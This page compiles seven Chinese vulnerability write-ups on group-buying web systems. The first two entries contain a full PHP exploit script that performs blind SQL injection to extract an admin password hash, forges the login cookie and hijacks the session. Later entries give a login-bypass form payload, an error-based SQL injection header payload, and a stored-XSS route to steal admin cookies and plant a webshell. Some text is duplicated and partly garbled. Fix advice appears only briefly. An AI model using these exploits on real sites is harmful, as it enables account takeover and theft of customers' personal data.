【导语】“xiaojx488”通过精心收集,向本站投稿了7篇最土团购系统盲注及cookie欺骗漏洞漏洞预警,以下是小编帮大家整理后的最土团购系统盲注及cookie欺骗漏洞漏洞预警,仅供参考,欢迎大家阅读。
- 目录
篇1:最土团购系统盲注及cookie欺骗漏洞漏洞预警
最土团购系统是国内著名团购程序,在国内团购系统份额中所占比例很大,但因有些版本某些地方过滤不完全导致注射漏洞(非通杀)。
查找方式
powered by zuitu
漏洞分析
1.注入漏洞
首先看一下全局核心文件app.php代码:
管理员 $login_user = Table::Fetch('user', $login_user_id);追踪GetLoginId方法:static public function GetLoginId { $user_id = abs(intval(Session::Get('user_id'))); if (!$user_id) { $u = ZUser::GetLoginCookie(self::$cookie_name); //调用cookie $user_id = abs(intval($u['id'])); } if ($user_id) self::Login($user_id); return $user_id; } static public function GetLoginCookie($cname='ru') { $cv = cookieget($cname); //获取cookie值 if ($cv) { $zone = base64_decode($cv); //对cookie值base64解密 $p = explode('@', $zone, 2); //用@分隔成数组 return DB::GetTableRow('user', array( //进入user表查询 'id' =>$p[0], //第一部分为id,默认超级管理员id为1 'password' =>$p[1], //第二部分为加密后的密码hash )); } return Array(); } /*cookie获得方式*/ function cookieget($k, $default='') { $pre = substr(md5($_SERVER['HTTP_HOST']),0,4); $k = “{$pre}_{$k}”; return isset($_COOKIE[$k]) ? strval($_COOKIE[$k]) : $default; }
真正用到的参数是id,password的hash。密码学告诉我们解密的关键是密钥,而不是算法,那通过注入我们掌握了id和password直接cookie欺骗,以管理员身份登录。由于后台需要二次登录,所以思路是我们在前台用超级管理员欺骗登陆后,pass掉管理员密码,登录后台。说了很多废话,整合两个漏洞,最后上exp:
< 3) { print_r(' -------------------------------------------------------+ Example: php.exe exp.php localhost password --l4yn3 -------------------------------------------------------+ '); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; //域名 $param = $argv[2]; //注入字段 username or password $res = ''; for($i=1;$i<=32;$i++) { $find_str = blindExp($i); if($find_str == '~')break; echo “The $i word: $find_str\\n”; $res .= $find_str; } if(empty($res)) { print('Exploited failed!'); exit; } print_r(“ The $param is $res\\n I'm trying to login the website,wait...... ”); $session_id = sharpLogin($argv[1], $res); print_r(' Login completely! The PHPSESSID is '.$session_id.'! Please copy the command \\'javascript.:alert(document.cookie=\\'PHPSESSID='.$session_id.'\\');\\' to the widow which the '.$host.' is opened, then reload the window! Good Luck! ----l4yn3 '); exit; /*信息刺探*/ function getData($i, $count) { global $host, $param; $url = “$host/ajax/coupon.php?action=consume&id=--9876')%20or%20exists(select%20*%20from%20user%20where%20manager='Y'%20and%20ord(substring($param,$i,1))>$count%20and%20id=1%20order%20by%20id%20desc%20limit%201)--%20sdf”; //14561 $remove_data = @file_get_contents($url); if(!strstr($remove_data, '--9876')) { return 1; } return 0; } /*账号和密码猜解*/ function blindExp($pos) { $counter_min = 20; $counter_max = 128; $counter_middel = 0; $res = ''; $i = 0; while($i <=10) { $counter_middel = ($counter_max + $counter_min) / 2; $res = getData($pos, $counter_middel); if(empty($res)) { $counter_max = floor($counter_middel); } else { $counter_min = ceil($counter_middel); } if($counter_max == $counter_min && $counter_max != 20) { $res = chr($counter_max); break; } $i++; } return preg_match('/[\\d\\S]/', $res) ? $res : '~'; } /*伪造cookie*/ function sharpLogin($host = '', $password = '') { $time = time() + 3600 * 24 *30; $key = substr(md5($host), 0, 4); $cookie_key = $key.“_ru”; $cookie_val = base64_encode('1@'.$password
); $data = ''; $data .= “GET /index.php HTTP/1.1\\r\\n”; $data .= “Host: $host\\r\\n”; $data .= “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\n”; $data .= “Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\\r\\n”; $data .= “Cookie: {$cookie_key}_city=1; cnzz_a2262318=3; sin2262318=; rtime=0; ltime=$time; cnzz_eid=19056328-1285688892-; $cookie_key=$cookie_val\\r\\n”; $data .= “Connection: Close\\r\\n\\r\\n”; $fp = fsockopen($host, 80); fputs($fp, $data); $res = ''; while($fp && !feof($fp)) { $res .= fread($fp, 1024); } fclose($fp); $session_id = getSessionId($res); if($session_id)return $session_id; else return false; } /*获取sessionid*/ function getSessionId($data) { preg_match(“/PHPSESSID=([\\d\\w]+);/iU”, $data, $match); if(isset($match[1])) { return $match[1]; } return ''; }exp返回如下代码:
The PHPSESSID is 9fb4dff8d28c07aa4e2a6ea67f7ed2ab! Please copy the command 'javascript.:alert(document.cookie='PHPSESSID=9fb4dff8d28c07aa4e2a6ea67f7ed2ab'); ' to the widow which the www.abc.com is opened, then reload the window!拷贝'javascript.:alert(document.cookie='PHPSESSID=9fb4dff8d28c07aa4e2a6ea67f7ed2ab');到打开当前网站的浏览器窗口输入栏,回车,刷新,即登录成功,
请勿用于非法用途,仅用于技术交流。
篇2:最土团购系统盲注及cookie欺骗漏洞分析漏洞预警
发布日期:2010-10.23
发布作者:l4yn3
影响版本:未知
官方地址:www.zuitu.com/
漏洞类型:Cookie欺骗、SQL注入
漏洞描述:最土团购系统是国内著名团购程序,在国内团购系统份额中所占比例很大,但因有些版本某些地方过滤不完全导致注射漏洞(非通杀)。
漏洞分析
1.注入漏洞
首先看一下全局核心文件app.php代码:
function magic_gpc($string) { if(SYS_MAGICGPC) { if(is_array($string)) { foreach($string as $key =>$val) { $string[$key] = magic_gpc($val); } } else { $string = stripslashes($string); } } return $string; }
对所传递的参数进行反转义,即用程序关闭gpc功能,和一般的程序正好相反,开始我很费解,看到数据库类的时候,才明白意图,看db.class.php代码:
static public function EscapeString( $string ) { self::Instance(); return @mysql_real_escape_string( $string, self::$mConnection ); } 在php端去掉gpc功能,在库操作的时候用mysql_real_escape_string转义,实现数据库安全,值得程序员借鉴,但是有意思的是看一下GetDbRowById方法代码:
static public function GetDbRowById($table, $ids=array()) { $one = is_array($ids) ? false : true; settype($ids, 'array'); $idstring = join('\\',\\'', $ids); //用','进行连接,程序自己已经用到了',所以这个方法不能用mysql_real_escape_string转义,结合上面gpc反转义,出现漏洞 $q = “SELECT * FROM `{$table}` WHERE id IN ('{$idstring}')”; $r = self::GetQueryResult($q, $one); if ($one) return $r; return Utility::AssColumn($r, 'id'); }Table类的FetchForce方法用到了GetDbRowById方法,文件ajax/coupon.php中漏洞触发代码: $action = strval($_GET['action']); $cid = strval($_GET['id']); //strval,不是intval $sec = strval($_GET['secret']); 省略无用代码...... else if($action == 'consume') { $coupon = Table::FetchForce('coupon', $cid); //利用到了cid,形成漏洞 $partner = Table::Fetch('partner', $coupon['partner_id']); $team = Table::Fetch('team', $coupon['team_id']); if (!$coupon) { $v[] = “#{$cid} 无效”; $v[] = '本次消费失败'; } 接着省略...... 因为是ajax调用文件和逻辑问题,注入没有显示(或者说很麻烦),直接盲住。构造url: 50%20and%20id=1%20order%20by%20id%20desc%20limit%201)--%20sdf“>www.abc.com/ajax/coupon.php?action=consume&id=--9876')%20or%20exists(select%20*%20from%20user%20where%20manager='Y'%20and%20ord(substring(password,1,1))>50%20and%20id=1%20order%20by%20id%20desc%20limit%201)--%20sdf。
2.cookie欺骗
系统对密码加密采取的是salt+密码md5加密,破解的可能为0。看app.php如下代码:
$currency = $INI['system']['currency']; $login_user_id = ZLogin::GetLoginId(); //尝试获取user_id,系统默认第一个注册的为超级管理员 $login_user = Table::Fetch('user', $login_user_id);追踪GetLoginId方法: static public function GetLoginId() { $user_id = abs(intval(Session::Get('user_id'))); if (!$user_id) { $u = ZUser::GetLoginCookie(self::$cookie_name); //调用cookie $user_id = abs(intval($u['id'])); } if ($user_id) self::Login($user_id); return $user_id; } static public function GetLoginCookie($cname='ru') { $cv = cookieget($cname); //获取cookie值 if ($cv) { $zone = base64_decode($cv); //对cookie值base64解密 $p = explode('@', $zone, 2); //用@分隔成数组 return DB::GetTableRow('user', array( //进入user表查询 'id' =>$p[0], //第一部分为id,默认超级管理员id为1 'password' =>$p[1], //第二部分为加密后的密码hash )); } return Array(); } /*cookie获得方式*/ function cookieget($k, $default='') { $pre = substr(md5($_SERVER['HTTP_HOST']),0,4); $k = ”{$pre}_{$k}“; return isset($_COOKIE[$k]) ? strval($_COOKIE[$k]) : $default; } 真正用到的参数是id,password的hash。密码学告诉我们解密的关键是密钥,而不是算法,那通过注入我们掌握了id和password直接cookie欺骗,以管理员身份登录。由于后台需要二次登录,所以思路是我们在前台用超级管理员欺骗登陆后,pass掉管理员密码,登录后台。
说了很多废话,整合两个漏洞,最后上exp:
print_r('
-------------------------------------------------------+
ZuiTu TuanGou System Blind Sql Injection Exploit
Author:l4yn3
Team:www.wolvez.org
Blog:hi.baidu.com/l4yn3
-------------------------------------------------------+
');
if($argc < 3)
{
print_r('
-------------------------------------------------------+
Example:
php.exe exp.php localhost password
--l4yn3
-------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$host = $argv[1]; //域名
$param = $argv[2]; //注入字段 username or password
$res = '';
for($i=1;$i<=32;$i++)
{
$find_str = blindExp($i);
if($find_str == '~')break;echo ”The $i word: $find_str\\n“;
$res .= $find_str;
}
if(empty($res))
{
print('Exploited failed!');
exit;
}
print_r(”
The $param is $res\\n
I'm trying to login the website,wait......
“);
$session_id = sharpLogin($argv[1], $res);
print_r('
Login completely!
The PHPSESSID is '.$session_id.'!
Please copy the command
\\'javascript.:alert(document.cookie=\\'PHPSESSID='.$session_id.'\\');\\'
to the widow which the '.$host.' is opened, then reload the window!
Good Luck!
----l4yn3
');
exit;
/*信息刺探*/
function getData($i, $count)
{
global $host, $param;
$url = ”$count%20and%20id=1%20order%20by%20id%20desc%20limit%201)--%20sdf“>$host/ajax/coupon.php?action=consume&id=--9876')%20or%20exists(select%20*%20from%20user%20where%20manager='Y'%20and%20ord(substring($param,$i,1))>$count%20and%20id=1%20order%20by%20id%20desc%20limit%201)--%20sdf”; //14561
$remove_data = @file_get_contents($url);
if(!strstr($remove_data, '--9876'))
{
return 1;
}
return 0;
}
/*账号和密码猜解*/
function blindExp($pos)
{
$counter_min = 20;
$counter_max = 128;
$counter_middel = 0;
$res = '';
$i = 0;
while($i <=10)
{
$counter_middel = ($counter_max + $counter_min) / 2;
$res = getData($pos, $counter_middel);
if(empty($res))
{
$counter_max = floor($counter_middel);
}
else
{
$counter_min = ceil($counter_middel);
}
if($counter_max == $counter_min && $counter_max != 20)
{
$res = chr($counter_max);
break;
}
$i++;
}
return preg_match('/[\\d\\S]/', $res) ? $res : '~';
}
/*伪造cookie*/
function sharpLogin($host = '', $password = '')
{
$time = time() + 3600 * 24 *30;
$key = substr(md5($host), 0, 4);
$cookie_key = $key.“_ru”;
$cookie_val = base64_encode('1@'.$password);
$data = '';
$data .= “GET /index.php HTTP/1.1\\r\\n”;
$data .= “Host: $host\\r\\n”;
$data .= “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\n”;
$data .= “Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\\r\\n”;
$data .= “Cookie: {$cookie_key}_city=1; cnzz_a2262318=3; sin2262318=; rtime=0; ltime=$time; cnzz_eid=19056328-1285688892-; $cookie_key=$cookie_val\\r\\n”;
$data .= “Connection: Close\\r\\n\\r\\n”;
$fp = fsockopen($host, 80);
fputs($fp, $data);
$res = '';
while($fp && !feof($fp))
{
$res .= fread($fp, 1024);
}
fclose($fp);
$session_id = getSessionId($res);
if($session_id)return $session_id;
else return false;
}
/*获取sessionid*/
function getSessionId($data)
{
preg_match(“/PHPSESSID=([\\d\\w]+);/iU”, $data, $match);
if(isset($match[1]))
{
return $match[1];
}
return '';
}
exp返回如下代码:
The PHPSESSID is 9fb4dff8d28c07aa4e2a6ea67f7ed2ab!
Please copy the command
'javascript.:alert(document.cookie='PHPSESSID=9fb4dff8d28c07aa4e2a6ea67f7ed2ab');
'
to the widow which the www.abc.com is opened, then reload the window!拷贝'javascript.:alert(document.cookie='PHPSESSID=9fb4dff8d28c07aa4e2a6ea67f7ed2ab');到打开当前网站的浏览器窗口输入栏,回车,刷新,即登录成功,
篇3:最土团购程序sql注入漏洞利用及修复漏洞预警
近期最土团购程序3.0_20111207爆出一个高危漏洞,通过该漏洞利用方法,入侵者可以在10秒内获取最土团购网站的大量用户信息和订单信息等,
因为最土是团购类程序,数据库中保存有用户的邮箱和电话,甚至有用户的住址等,对网站用户来说,这些隐私信息一旦被别人获取,会带来很多的麻烦。
360安全工程师分析认为,“这是一次比较典型、也是非常经典的数组key变量污染漏洞。‘最土团购’建站程序的代码中,由于函数的过滤不严格,导致了 可以通过提交恶意代码,控制程序流程,来绕过登录时的判断,直接进入网站后台。
测试方法如下:
1.用opera浏览器打开网站的默认后台地址:manage/login.php
2.右键查看源代码。找到以下代码:
3.将其中的name=“username” 修改为:name=“username[=0x7c or manager=1#]”,点击浏览器上的应用保存,
4.直接在账号s,密码s进行登陆后台。
因为最土团购程序的后台可以直接进行备份数据库到本地的操作,所以一旦进入后台,如果服务器未对备份文件的下载权限进行设置,是可以直接备份数据库到本地的,因此对用户的信息安全威胁比较大。
针对以上漏洞的修复方法:
1.升级最土团购程序为最新版的ZuituGo_CV2.0_20111231;
2.如果不想下载庞大的源码升级包,还可以参考以下的修复方案:
在Include/classes/ ZUser.class.php 中找到“static public function GetLogin($email, $unpass, $en=true) { ”即登录验证函数定义的地方; 在其下面加入如下代码“if(is_array($email)) return array;”漏洞即可修复。 www.2cto.com
3.建议针对后台数据库备份到本地,针对备份文件进行禁止下载的权限设置。
4.可以为后台登陆增加验证码项。
部分修复方案参考网上的资料,具体的可行性自行研究。
文章仅供学习参考使用,请不要做破坏活动.
篇4:最土团购程序商业版本CV1.6.1490漏洞漏洞预警
此漏洞十分严重,将直接影响网站的订单信息,发现于商业版本CV1.6.1490,
问题原因:
用户进入下订单页面时(/team/buy.php?id=xxx),页面中存在一个隐藏域,此$order['id']用于存放用户之前为付款订单的id,为sql注入入口。
criteria 1:
修改,并对表单进行提交,会将本订单的信息覆盖掉相应order id的订单信息,但付款状态不会修改。如果用户在团购成功之前下了订单,还会将团券信息发送至用户。
criteria 2:
修改,十分危险的sql注入,
解决方法:
在team/buy.php(或wap/buy.php)的第122行(107行)左右,有一句
if ($flag = $table->Update($insert)) ,可将Update改为Insert为应急方案。
由于$table变量使用了$table = new Table('order', $_POST);进行了初始化,一旦$_POST['id']不为空,则其值将作为主键查询更新至相应记录。
另外,DB.class.php中的DB类的Update方法也存在漏洞,使得sql注入存在可能。在第284行左右。
else $condition = “`$pkname`='$id'”; 中的$id值未经处理,使得input中的值直接被传至sql语句中,十分危险。
篇5:最土团购2.020110901后台BYPASS登录后台0day分析漏洞预警
前两天在黑吧看到《最土团购网 BYPASS登录后台0day》原文地址:www.myhack58.com/Article/html/3/62/2012/33685.htm的漏洞信息(此漏洞去年都已经出了,但黑吧文章更新比较落后!),感觉漏洞利用手法有点奇怪,首先是肯定了使用SQL注入方式,但是咋一眼看去确实有点疑惑不解,不由得想看看代码是怎么一个写法,于是在网上下了套最土团购2.0_20110901程序来研究研究,经过大半天的研究算是基本明白了漏洞原理,这里就简单的写下漏洞原理分析过程。在继续接下来内容之前先还上膜拜下此漏洞原作者,能找到这个漏洞确实不易,至少换做是我的话我可能70%不会注意到这个漏洞。
首先还是看看漏洞Exp,在后台登陆页面修改Form表单的name=“username” 为:name=“username[=0x7c or manager=1#]”,保存后账号密码任意即可登陆后台了。根据这个Exp我们将username[=0x7c or manager=1#] 带入实际程序中看看。在PHP中form表单数据是以数组方式传送的,$_POST[]获取到的都是数组形式,以上代码username[=0x7c or manager=1#]其实就是一个数组“username”为数组名,“=0x7c or manager=1#”为数组下标,在使用$_POST获取其实就是$_POST[username][=0x7c or manager=1#] 成为一个二维数组。提交后数据进入include/class/ZUser.class.php类中的GetLogin函数
static public function GetLogin($email, $unpass, $en=true) {
/* just for zuitu_demo, no harm */
if (strtolower(md5($email))=='b80c4133e7227706d64920a1cd8789e9') {
return Table::Fetch('user', $email, 'email');
}
/* end */
if($en) $password = self::GenPassword($unpass); //加密密码
$field = strpos($email, ) ? 'email' : 'username';
//数据进入GetTableRow函数
$zuituuser = DB::GetTableRow('user', array(
$field =>$email,
'password' =>$password,
));
if ($zuituuser) return $zuituuser;
if (function_exists('zuitu_uc_login')) {
return zuitu_uc_login($email, $unpass);
}
return array;
}
因我们form表单中username提交的是一个数组,所以传入GetTableRow函数的第二个参数变为array('username' =>array ('=0x7c or manager=1#' =>'adminuser' ) ,'password' =>‘md5password’,),继续跟进include/library/DB.class.php类中的GetTableRow函数:
static public function GetTableRow($table, $condition)
{
return self::LimitQuery($table, array(
'condition' =>$condition,
'one' =>true,
));
}
从以上代码可看出程序将传入的$condition值再加上一层数组,然后传递给LimitQuery函数,所以在此进入LimitQuery时候,第二参数值为:array('condition' =>array('username' =>array ('=0x7c or manager=1#' =>'ddd' ) ,'password' =>‘md5password’,),'one' =>true,),继续跟进LimitQuery函数:
static public function LimitQuery($table, $options=array())
{
$condition = isset($options['condition']) ? $options['condition'] : null;
$one = isset($options['one']) ? $options['one'] : false;
$offset = isset($options['offset']) ? abs(intval($options['offset'])) : 0;
if ( $one ) {
$size = 1;
} else {
$size = isset($options['size']) ? abs(intval($options['size'])) : null;
}
$select = isset($options['select']) ? $options['select'] : '*';
$order = isset($options['order']) ? $options['order'] : null;
$cache = isset($options['cache'])?abs(intval($options['cache'])):0;
$condition = self::BuildCondition( $condition );
$condition = (null==$condition) ? null : “WHERE $condition”;
$limitation = $size ? “LIMIT $offset,$size” : null;
$sql = “SELECT {$select} FROM `$table` $condition $order $limitation”;return self::GetQueryResult( $sql, $one, $cache);
}
以上函数功能实际是为了构造最终查询的SQL语句,数据进入该函数后取得数组中下标为'condition'的值即:array('username' =>array ('=0x7c or manager=1#' =>'ddd' ) ,'password' =>‘md5password’,) 然后将此值代入BuildCondition函数,继续跟进BuildCondition函数:
static public function BuildCondition($condition=array(), $logic='AND')
{
if ( is_string( $condition ) || is_null($condition) )
return $condition;
$logic = strtoupper( $logic );
$content = null;
foreach ( $condition as $k =>$v )//第一次遍历数组
{
$v_str = null;
$v_connect = '=';
if ( is_numeric($k) )
{
$content .= $logic . ' (' . self::BuildCondition( $v, $logic ) . ')';
continue;
}
$maybe_logic = strtoupper($k);
if ( in_array($maybe_logic, array('AND','OR')))
{
$content .= $logic . ' (' . self::BuildCondition( $v, $maybe_logic ) . ')';
continue;
}
if ( is_numeric($v) ) {
$v_str = “'{$v}'”;
}
else if ( is_null($v) ) {
$v_connect = ' IS ';
$v_str = ' NULL';
}
else if ( is_array($v) ) { //经过第一次遍历数组后,$v值依然是个数组,因为$condition值为一个二维数组
if ( isset($v[0]) ) {
$v_str = null;
foreach($v AS $one) {
if (is_numeric($one)) {
$v_str .= ','.$one;
} else {
$v_str .= ',\\''.self::EscapeString($one).'\\'';
}
}
$v_str = '(' . trim($v_str, ',') .')';
$v_connect = 'IN';
} else if ( empty($v) ) {
$v_str = $k;
$v_connect = '';
} else { //以上条件不满足,程序跳至此处
$v_connect = array_shift(array_keys($v)); //得到$v_connect 值为:=0x7c or manager=1#
$v_s = array_shift(array_values($v));
$v_str = “'”.self::EscapeString($v_s).“'”;
$v_str = is_numeric($v_s) ? “'{$v_s}'” : $v_str ;
}
}
else {
$v_str = “'”.self::EscapeString($v).“'”;
}
$content .= “ $logic `$k` $v_connect $v_str ”;
}
$content = preg_replace( '/^\\s*'.$logic.'\\s*/', '', $content );
$content = preg_replace( '/\\s*'.$logic.'\\s*$/', '', $content );
$content = trim($content);
return $content; //值为 `username`=0x7c or manager=1# 'ddd' AND `password` = 'md5password'
}
通过以上代码后,返回LimitQuery函数中可得到最终的sql语句为:SELECT * FROM `user` WHERE `username` =0x7c or manager=1# 'ddd' AND `password` = 'f8c2911838a9a264d53d68c0a50c25c7' LIMIT 0,1成功绕过后台!!
结语:这样方式的漏洞你什么magic_quote_gpc都是浮云了,完美注入,其实我搞不懂为啥后台登陆验证要写那么复杂,看代码时候着实让我饶了一会儿,这样的功能越是多越是容易出现纰漏,这也给我们越多的利用机会,
篇6:易想团购系统通杀SQL注入漏洞分析及利用漏洞预警
刚打开红黑看到J8基友写的一个{易想团购系统 最新版 通杀}的文章,看他贴的代码里面有个get_client_ip()函数,哈哈,我猜没过滤,果断下了一套程序,
找到get_client_ip()函数。
// 获取客户端IP地址function get_client_ip(){ if (getenv(“HTTP_CLIENT_IP”) && strcasecmp(getenv(“HTTP_CLIENT_IP”), “unknown”)) $ip = getenv(“HTTP_CLIENT_IP”); else if (getenv(“HTTP_X_FORWARDED_FOR”) && strcasecmp(getenv(“HTTP_X_FORWARDED_FOR”), “unknown”)) $ip = getenv(“HTTP_X_FORWARDED_FOR”); else if (getenv(“REMOTE_ADDR”) && strcasecmp(getenv(“REMOTE_ADDR”), “unknown”)) $ip = getenv(“REMOTE_ADDR”); else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], “unknown”)) $ip = $_SERVER['REMOTE_ADDR']; else $ip = “unknown”; return($ip);}
果然没过滤,看了下很多地方用到这个函数。
比如
if($_REQUEST['act'] == 'verify'){ $id = intval($_REQUEST['id']); $user_info = $GLOBALS['db']->getRow(“select * from ”.DB_PREFIX.“user where id = ”.$id); if(!$user_info) { showErr($GLOBALS['lang']['NO_THIS_USER']); } $verify = $_REQUEST['code']; if($user_info['verify'] == $verify) { //成功 $_SESSION['user_info'] = $user_info; $GLOBALS['db']->query(“update ”.DB_PREFIX.“user set login_ip = '”.get_client_ip().“',login_time= ”.get_gmtime().“,verify = '',is_effect = 1 where id =”.$user_info['id']); $GLOBALS['db']->query(“update ”.DB_PREFIX.“mail_list set is_effect = 1 where mail_address ='”.$user_info['email'].“'”); $GLOBALS['db']->query(“update ”.DB_PREFIX.“mobile_list set is_effect = 1 where mobile ='”.$user_info['mobile'].“'”); showSuccess($GLOBALS['lang']['VERIFY_SUCCESS'],0,APP_ROOT.“/”); }
团购系统嘛,其实不用看代码,登陆的这些地方必定会用这个函数,
果断的,登陆的时候在http头里面加了个client_ip,值为127′
看图:
报错注入,很简单吧,
exp:
火狐插件增加client_ip
值为
‘ and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b)#
这套程序用的thinkphp的框架,待会看看有没有代码执行。。。。
篇7:方维团购系统存储型XSS可盲打后台漏洞预警
fanwe团购系统存在XSS可以获得管理员cookie并且进入后台
首先在一个商品进去,里面会有退款留言,都会有的就算支付了会有,
方维团购系统存储型XSS可盲打后台漏洞预警
,
然后评论可以添加XSS,管理员每天都会查看,查看的时候就会取得管理员COOkie
然后通过cookie访问
然后进入后台
后台有SQL语句执行,可以通过它导出一句话,然后拿到webshell
★ Shopv8 商城系统 v12.07 Cookies 注入漏洞漏洞预警
★ 漏洞整改报告
★ ewebeditor(PHP) Ver 3.8 任意文件上传0day漏洞预警
★ 永久网络个人音乐盒LajoxBox v1.1上传漏洞利用漏洞预警
★ 财务部里的漏洞
最土团购系统盲注及cookie欺骗漏洞漏洞预警(精选7篇)




